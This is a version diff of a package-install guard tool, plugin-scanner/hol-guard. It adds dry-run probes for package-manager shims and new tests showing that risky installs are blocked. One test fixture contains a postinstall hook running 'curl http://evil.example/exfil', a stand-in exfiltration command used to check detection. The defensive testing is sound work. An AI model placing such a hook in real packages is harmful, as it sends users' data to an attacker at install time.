plugin-scanner 2.0.544__tar.gz → 2.0.546__tar.gz

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: plugin-scanner
-Version: 2.0.544
+Version: 2.0.546
 Summary: Lint, verify, and gate plugin ecosystems for maintainers, CI, and publish workflows.
 Project-URL: Homepage, https://github.com/hashgraph-online/hol-guard
 Project-URL: Repository, https://github.com/hashgraph-online/hol-guard

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "plugin-scanner"
-version = "2.0.544"
+version = "2.0.546"
 description = "Lint, verify, and gate plugin ecosystems for maintainers, CI, and publish workflows."
 readme = "README.md"
 license = "Apache-2.0"

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/pyproject.toml.bak

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "hol-guard"
-version = "2.0.544"
+version = "2.0.546"
 description = "Protect local AI harnesses with HOL Guard and run scanner checks for Codex, Claude, Cursor, Gemini, and OpenCode."
 readme = "README.md"
 license = "Apache-2.0"

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/src/codex_plugin_scanner/guard/daemon/server.py

@@ -119,7 +119,7 @@ from ..shims import (
     activate_package_shims,
     package_shim_status,
     package_shim_supported_managers,
-    test_package_shim_intercepts,
+    probe_package_shim_intercepts,
     uninstall_package_shims,
 )
 from ..stable_digest import stable_digest_hex
@@ -1980,7 +1980,7 @@ class _GuardDaemonHandler(BaseHTTPRequestHandler):
         if operation == "remove":
             return uninstall_package_shims(context, managers=managers)
         if operation == "test":
-            return test_package_shim_intercepts(
+            return probe_package_shim_intercepts(
                 context,
                 managers=managers,
                 workspace_dir=context.workspace_dir,

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/src/codex_plugin_scanner/guard/protect.py

@@ -510,7 +510,13 @@ def _package_manager_request(command: list[str], ecosystem: str, specs: tuple[st
 
 def _package_target(ecosystem: str, spec: str) -> ProtectTarget:
     package_name, version = _parse_package_identity(ecosystem, spec)
+    if package_name is not None:
+        package_name = package_name.strip()
+    if version is not None:
+        version = version.strip()
     source_url = _spec_url(spec)
+    if source_url is None and version is not None:
+        source_url = _spec_url(version)
     identity = package_name or spec
     return ProtectTarget(
         artifact_id=f"install:{ecosystem}:{identity}",

plugin_scanner-2.0.546/src/codex_plugin_scanner/guard/shim_probe.py

@@ -0,0 +1,62 @@
+"""Shared helpers for package-shim intercept probes."""
+
+from __future__ import annotations
+
+import json
+from typing import Any
+
+_PACKAGE_SHIM_PROBE_ARGS: dict[str, tuple[str, ...]] = {
+    "npm": ("install", "--dry-run", "lodash@4.17.21"),
+    "pnpm": ("add", "--dry-run", "lodash@4.17.21"),
+    "yarn": ("add", "--dry-run", "lodash@4.17.21"),
+    "bun": ("add", "--dry-run", "lodash@4.17.21"),
+    "pip": ("install", "--dry-run", "requests==2.32.3"),
+    "pip3": ("install", "--dry-run", "requests==2.32.3"),
+    "uv": ("add", "--dry-run", "requests==2.32.3"),
+    "poetry": ("add", "--dry-run", "requests@2.32.3"),
+    "pipenv": ("install", "--dry-run", "requests==2.32.3"),
+    "pipx": ("install", "--dry-run", "requests==2.32.3"),
+    "cargo": ("add", "serde@1.0.203"),
+    "go": ("install", "-n", "github.com/pkg/errors@v0.9.1"),
+    "composer": ("require", "--dry-run", "monolog/monolog:3.6.0"),
+    "bundle": ("add", "rails", "--version", "7.1.3"),
+}
+
+
+def package_shim_probe_args(manager: str) -> tuple[str, ...]:
+    """Return install-shaped probe args that route through package protect."""
+
+    return _PACKAGE_SHIM_PROBE_ARGS.get(manager, ("--version",))
+
+
+def parse_protect_json_stdout(stdout: str) -> dict[str, Any]:
+    """Parse the first JSON object emitted by `hol-guard protect --json`."""
+
+    text = stdout.lstrip()
+    if not text:
+        return {}
+    decoder = json.JSONDecoder()
+    try:
+        payload, _index = decoder.raw_decode(text)
+    except json.JSONDecodeError:
+        return {}
+    return payload if isinstance(payload, dict) else {}
+
+
+def protect_evaluator_evidence(payload: dict[str, Any]) -> dict[str, object]:
+    """Extract evaluator invocation evidence from a protect payload."""
+
+    supply_chain = payload.get("supply_chain_evaluation")
+    supply_chain_dict = supply_chain if isinstance(supply_chain, dict) else {}
+    verdict = payload.get("verdict")
+    verdict_dict = verdict if isinstance(verdict, dict) else {}
+    evidence_ids = supply_chain_dict.get("evidence_ids")
+    normalized_evidence_ids = (
+        [str(item) for item in evidence_ids if item is not None] if isinstance(evidence_ids, list) else []
+    )
+    return {
+        "evaluator_invoked": "supply_chain_evaluation" in payload or "verdict" in payload,
+        "protect_decision": verdict_dict.get("action"),
+        "evidence_ids": normalized_evidence_ids,
+        "dry_run": payload.get("dry_run"),
+    }

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/src/codex_plugin_scanner/guard/shims.py

@@ -12,6 +12,11 @@ from pathlib import Path
 from typing import TYPE_CHECKING
 
 from .launcher import merge_guard_launcher_env
+from .shim_probe import (
+    package_shim_probe_args,
+    parse_protect_json_stdout,
+    protect_evaluator_evidence,
+)
 
 if TYPE_CHECKING:
     from .adapters.base import HarnessContext
@@ -775,7 +780,7 @@ def _path_export_hints(shim_dir: Path) -> dict[str, str]:
     }
 
 
-def test_package_shim_intercepts(
+def probe_package_shim_intercepts(
     context: HarnessContext,
     *,
     managers: tuple[str, ...] | None = None,
@@ -789,14 +794,32 @@ def test_package_shim_intercepts(
     tested_managers = list(managers or tuple(sorted(installed)))
     path_repair_required = [manager for manager in tested_managers if manager in installed and manager not in protected]
     manager_results: list[dict[str, object]] = []
+    manager_details = status.get("manager_details", [])
+    detail_by_manager = {
+        str(item.get("manager")): item
+        for item in manager_details
+        if isinstance(item, dict) and isinstance(item.get("manager"), str)
+    }
     target_workspace = workspace_dir or context.workspace_dir or context.home_dir
     shim_dir = context.guard_home / "package-shims" / "bin"
     for manager in tested_managers:
         if manager not in installed:
             continue
+        manager_detail = detail_by_manager.get(manager)
+        if manager_detail is not None and manager_detail.get("integrity") == "tampered":
+            manager_results.append(
+                {
+                    "evaluator_invoked": False,
+                    "intercept_ran": False,
+                    "manager": manager,
+                    "skipped_reason": "shim_tampered",
+                },
+            )
+            continue
         if manager not in protected:
             manager_results.append(
                 {
+                    "evaluator_invoked": False,
                     "intercept_ran": False,
                     "manager": manager,
                     "skipped_reason": "path_inactive",
@@ -807,6 +830,7 @@ def test_package_shim_intercepts(
         if command is None:
             manager_results.append(
                 {
+                    "evaluator_invoked": False,
                     "intercept_ran": False,
                     "manager": manager,
                     "skipped_reason": "unsupported_manager",
@@ -817,16 +841,18 @@ def test_package_shim_intercepts(
         if not shim_path.exists():
             manager_results.append(
                 {
+                    "evaluator_invoked": False,
                     "intercept_ran": False,
                     "manager": manager,
                     "skipped_reason": "shim_missing",
                 },
             )
             continue
+        probe_args = package_shim_probe_args(manager)
         try:
             # codeql[py/path-injection] target_workspace is home_dir or a validated daemon workspace_dir.
             result = subprocess.run(
-                [str(shim_path), "--version"],
+                [str(shim_path), *probe_args],
                 capture_output=True,
                 check=False,
                 cwd=target_workspace,
@@ -836,20 +862,27 @@ def test_package_shim_intercepts(
         except (subprocess.TimeoutExpired, OSError):
             manager_results.append(
                 {
+                    "evaluator_invoked": False,
                     "intercept_ran": False,
                     "manager": manager,
                     "skipped_reason": "probe_failed",
                 },
             )
             continue
+        protect_payload = parse_protect_json_stdout(result.stdout)
+        evaluator_evidence = protect_evaluator_evidence(protect_payload)
         manager_results.append(
             {
-                "intercept_ran": True,
+                "evaluator_invoked": evaluator_evidence["evaluator_invoked"],
+                "evidence_ids": evaluator_evidence["evidence_ids"],
+                "intercept_ran": bool(evaluator_evidence["evaluator_invoked"]),
                 "manager": manager,
+                "protect_decision": evaluator_evidence["protect_decision"],
+                "probe_args": list(probe_args),
                 "shim_exit_code": result.returncode,
             },
         )
-    intercept_proved = any(bool(result.get("intercept_ran")) for result in manager_results)
+    intercept_proved = any(bool(result.get("evaluator_invoked")) for result in manager_results)
     return {
         "blocked_execution": bool(tested_managers) and all(manager in protected for manager in tested_managers),
         "intercept_proved": intercept_proved,
@@ -870,7 +903,7 @@ __all__ = [
     "package_shim_cloud_coverage",
     "package_shim_status",
     "package_shim_supported_managers",
+    "probe_package_shim_intercepts",
     "remove_guard_shim",
-    "test_package_shim_intercepts",
     "uninstall_package_shims",
 ]

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/src/codex_plugin_scanner/version.py

@@ -1,3 +1,3 @@
 """Single source of truth for tool version."""
 
-__version__ = "2.0.544"
+__version__ = "2.0.546"

plugin_scanner-2.0.546/tests/shim_execution_helpers.py

@@ -0,0 +1,74 @@
+"""Shared helpers for package-shim intercept and execution proofs."""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+from codex_plugin_scanner.guard.shim_probe import (
+    package_shim_probe_args,
+    parse_protect_json_stdout,
+    protect_evaluator_evidence,
+)
+
+__all__ = [
+    "manager_probe_args",
+    "parse_protect_json_output",
+    "protect_evaluator_evidence",
+    "write_fake_manager_script",
+]
+
+
+def write_fake_manager_script(
+    *,
+    fake_bin: Path,
+    manager: str,
+    marker_path: Path,
+    exit_code: int,
+    stdout_text: str | None = None,
+    stderr_text: str | None = None,
+) -> Path:
+    """Write a fake package manager that records argv/cwd when invoked."""
+
+    script_path = fake_bin / manager
+    script_path.write_text(
+        "\n".join(
+            [
+                "#!/usr/bin/env python3",
+                "from __future__ import annotations",
+                "import json",
+                "import os",
+                "import sys",
+                f"marker_path = {str(marker_path)!r}",
+                "payload = {",
+                "    'argv': sys.argv,",
+                "    'cwd': os.getcwd(),",
+                "    'path': os.environ.get('PATH', ''),",
+                "    'shim_var': os.environ.get('SHIM_TEST_VAR'),",
+                "}",
+                "with open(marker_path, 'w', encoding='utf-8') as handle:",
+                "    json.dump(payload, handle)",
+                f"if {stdout_text!r} is not None:",
+                f"    print({stdout_text!r})",
+                f"if {stderr_text!r} is not None:",
+                f"    print({stderr_text!r}, file=sys.stderr)",
+                f"raise SystemExit({exit_code})",
+                "",
+            ]
+        ),
+        encoding="utf-8",
+    )
+    script_path.chmod(script_path.stat().st_mode | 0o755)
+    return script_path
+
+
+def parse_protect_json_output(stdout: str):
+    """Backward-compatible alias for protect stdout parsing."""
+
+    return parse_protect_json_stdout(stdout)
+
+
+def manager_probe_args(manager: str) -> tuple[str, ...]:
+    """Backward-compatible alias for install-shaped probe args."""
+
+    return package_shim_probe_args(manager)

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/tests/test_guard_headless_daemon_api.py

@@ -720,6 +720,7 @@ def test_supply_chain_package_firewall_paid_install_and_test_roundtrip(
     assert test_payload["result"]["intercept_proved"] is False
     assert test_payload["result"]["manager_results"] == [
         {
+            "evaluator_invoked": False,
             "intercept_ran": False,
             "manager": "npm",
             "skipped_reason": "path_inactive",

{plugin_scanner-2.0.544 → plugin_scanner-2.0.546}/tests/test_guard_package_shims.py

@@ -22,6 +22,7 @@ from codex_plugin_scanner.guard.adapters.base import HarnessContext
 from codex_plugin_scanner.guard.protect import build_protect_payload
 from codex_plugin_scanner.guard.shims import install_package_shims, package_shim_status
 from codex_plugin_scanner.guard.store import GuardStore
+from tests.shim_execution_helpers import write_fake_manager_script
 from tests.test_guard_protect import _seed_bundle_cache_only, _SyncAndEvaluateHandler
 from tests.test_guard_supply_chain_evaluator import _cloud_response, _EvaluateHandler
 
@@ -287,7 +288,7 @@ def test_package_manager_shim_uses_trusted_guard_import_path(tmp_path: Path, cap
     fake_bin = tmp_path / "fake-bin"
     fake_bin.mkdir()
     marker_path = tmp_path / "npm-ran.json"
-    _write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
+    write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
     shim_path = _install_single_manager_shim(
         home_dir=home_dir,
         workspace_dir=workspace_dir,
@@ -351,7 +352,7 @@ def test_package_manager_shim_runs_allowed_command_once_when_shim_dir_is_on_path
     fake_bin = tmp_path / "fake-bin"
     fake_bin.mkdir()
     marker_path = tmp_path / "npm-allowed.json"
-    _write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
+    write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
     server, thread, sync_url = _start_cloud_eval_server(decision="allow", package_name="minimist")
     try:
         _seed_bundle(
@@ -390,46 +391,6 @@ def test_package_manager_shim_runs_allowed_command_once_when_shim_dir_is_on_path
     assert marker_payload["cwd"] == str(workspace_dir)
 
 
-def _write_fake_manager_script(
-    *,
-    fake_bin: Path,
-    manager: str,
-    marker_path: Path,
-    exit_code: int,
-    stdout_text: str | None = None,
-    stderr_text: str | None = None,
-) -> None:
-    script_path = fake_bin / manager
-    script_path.write_text(
-        "\n".join(
-            [
-                "#!/usr/bin/env python3",
-                "from __future__ import annotations",
-                "import json",
-                "import os",
-                "import sys",
-                f"marker_path = {str(marker_path)!r}",
-                "payload = {",
-                "    'argv': sys.argv,",
-                "    'cwd': os.getcwd(),",
-                "    'path': os.environ.get('PATH', ''),",
-                "    'shim_var': os.environ.get('SHIM_TEST_VAR'),",
-                "}",
-                "with open(marker_path, 'w', encoding='utf-8') as handle:",
-                "    json.dump(payload, handle)",
-                f"if {stdout_text!r} is not None:",
-                f"    print({stdout_text!r})",
-                f"if {stderr_text!r} is not None:",
-                f"    print({stderr_text!r}, file=sys.stderr)",
-                f"raise SystemExit({exit_code})",
-                "",
-            ]
-        ),
-        encoding="utf-8",
-    )
-    script_path.chmod(script_path.stat().st_mode | 0o755)
-
-
 _BLOCKING_SHIM_CASES = (
     ("npm", ("install", "minimist@1.2.8"), "npm", "minimist", "1.2.8"),
     ("pnpm", ("add", "minimist@1.2.8"), "npm", "minimist", "1.2.8"),
@@ -756,7 +717,7 @@ def test_guard_package_shims_block_before_manager_execution(
     fake_bin = tmp_path / "fake-bin"
     fake_bin.mkdir(parents=True, exist_ok=True)
     marker_path = tmp_path / f"{manager}-marker.json"
-    _write_fake_manager_script(fake_bin=fake_bin, manager=manager, marker_path=marker_path, exit_code=0)
+    write_fake_manager_script(fake_bin=fake_bin, manager=manager, marker_path=marker_path, exit_code=0)
     server, thread, sync_url = _start_cloud_eval_server(
         decision="allow",
         package_name=package_name,
@@ -802,7 +763,7 @@ def test_guard_package_shim_preserves_argv_cwd_env_exitcode_and_stdio(tmp_path:
     fake_bin = tmp_path / "fake-bin"
     fake_bin.mkdir(parents=True, exist_ok=True)
     marker_path = tmp_path / "npm-allow-marker.json"
-    _write_fake_manager_script(
+    write_fake_manager_script(
         fake_bin=fake_bin,
         manager="npm",
         marker_path=marker_path,
@@ -896,7 +857,7 @@ def test_guard_package_shims_block_npm_ci_before_manager_execution_from_lockfile
     fake_bin = tmp_path / "fake-bin"
     fake_bin.mkdir(parents=True, exist_ok=True)
     marker_path = tmp_path / "npm-ci-marker.json"
-    _write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
+    write_fake_manager_script(fake_bin=fake_bin, manager="npm", marker_path=marker_path, exit_code=0)
     server, thread, sync_url = _start_cloud_eval_server(decision="block", package_name="minimist")
     try:
         _seed_bundle(

plugin_scanner-2.0.546/tests/test_guard_phase04_install_reason_proofs.py

@@ -0,0 +1,171 @@
+"""Phase 04 install-time evaluator reason proofs (SCSR066-SCSR070)."""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+import pytest
+
+from codex_plugin_scanner.guard.runtime.supply_chain_bundle import (
+    evaluate_cached_supply_chain_bundle,
+    load_supply_chain_bundle_response,
+)
+from codex_plugin_scanner.guard.runtime.supply_chain_package_eval import evaluate_package_request_artifact
+from codex_plugin_scanner.guard.store import GuardStore
+from tests.guard_python_phase12_support import (
+    WORKSPACE_ID as PYTHON_WORKSPACE_ID,
+    artifact_from_command_fixture,
+    bundle_response_fixture,
+    package_fixture,
+)
+from tests.test_guard_js_supply_chain_phase11 import WORKSPACE_ID, _artifact_from_command, _bundle_response, _write_text
+from tests.test_guard_supply_chain_bundle import _bundle_dict, _generate_key_pair, _sign_bundle_response
+
+
+def test_install_lifecycle_script_risk_blocks_local_package(tmp_path: Path) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    _write_text(workspace_dir / "package.json", '{"name":"demo"}\n')
+    _write_text(
+        workspace_dir / "fixtures" / "evil-package" / "package.json",
+        '{"name":"evil-package","scripts":{"postinstall":"curl http://evil.example/exfil"}}\n',
+    )
+    store = GuardStore(home_dir)
+
+    artifact = _artifact_from_command("npm install ./fixtures/evil-package", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.packages[0]["reasons"][0]["code"] == "install_script_risk"
+
+
+def test_dependency_confusion_policy_blocks_reserved_internal_name(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    _write_text(workspace_dir / "package.json", '{"name":"demo"}\n')
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        WORKSPACE_ID,
+        _bundle_response(
+            packages=[],
+            policy_rules=[
+                {
+                    "action": "block",
+                    "ruleId": "reserve-internal-tool",
+                    "ecosystemSelector": "npm",
+                    "enabled": True,
+                    "expiresAt": None,
+                    "harnessSelector": None,
+                    "packageSelector": "@hashgraph/internal-tool",
+                    "priority": 1,
+                    "severityThreshold": None,
+                    "versionRangeSelector": None,
+                }
+            ],
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = _artifact_from_command("npm install internal-tool@1.0.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.packages[0]["reasons"][0]["code"] == "dependency_confusion_risk"
+
+
+def test_maintainer_compromise_reason_blocks_high_risk_package(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        WORKSPACE_ID,
+        _bundle_response(
+            packages=[
+                {
+                    "confidence": 990,
+                    "defaultAction": "block",
+                    "ecosystem": "npm",
+                    "exploitLevel": "elevated",
+                    "knownExploited": False,
+                    "malwareState": "suspected",
+                    "name": "trusted-build-tools",
+                    "normalizedSeverity": "high",
+                    "packageAgeState": "watch",
+                    "purl": "pkg:npm/trusted-build-tools@5.4.0",
+                    "reachability": "reachable",
+                    "recommendedFixVersion": None,
+                    "relatedAdvisoryIds": ["GHSA-maintainer-risk"],
+                    "riskScore": 930,
+                    "sourceIntegrityState": "high-risk",
+                    "version": "5.4.0",
+                }
+            ]
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = _artifact_from_command("npm install trusted-build-tools@5.4.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert any(reason["code"] == "maintainer_compromise" for reason in result.reasons)
+
+
+def test_yanked_release_blocks_requested_python_version_with_safer_fix_copy(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: PYTHON_WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        PYTHON_WORKSPACE_ID,
+        bundle_response_fixture(
+            packages=[
+                package_fixture(
+                    name="urllib3",
+                    version="2.0.0",
+                    default_action="block",
+                    recommended_fix_version="2.0.7",
+                )
+            ]
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = artifact_from_command_fixture("pip install urllib3==2.0.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.user_copy.next_step == "pip install urllib3==2.0.7"
+    assert "pip install urllib3==2.0.7" in result.user_copy.harness_message
+
+
+def test_kev_escalation_blocks_known_exploited_bundle_package() -> None:
+    private_key, _public_key = _generate_key_pair()
+    blocking_response = load_supply_chain_bundle_response(
+        json.dumps(_sign_bundle_response(_bundle_dict(), private_key_pem=private_key))
+    )
+    blocking_decision = evaluate_cached_supply_chain_bundle(
+        blocking_response,
+        package_name="minimist",
+        package_version="1.2.8",
+        now=blocking_response.bundle.generated_at_timestamp + 60,
+    )
+
+    assert blocking_decision.action == "block"
+    assert blocking_decision.reason == "known_malware_or_kev"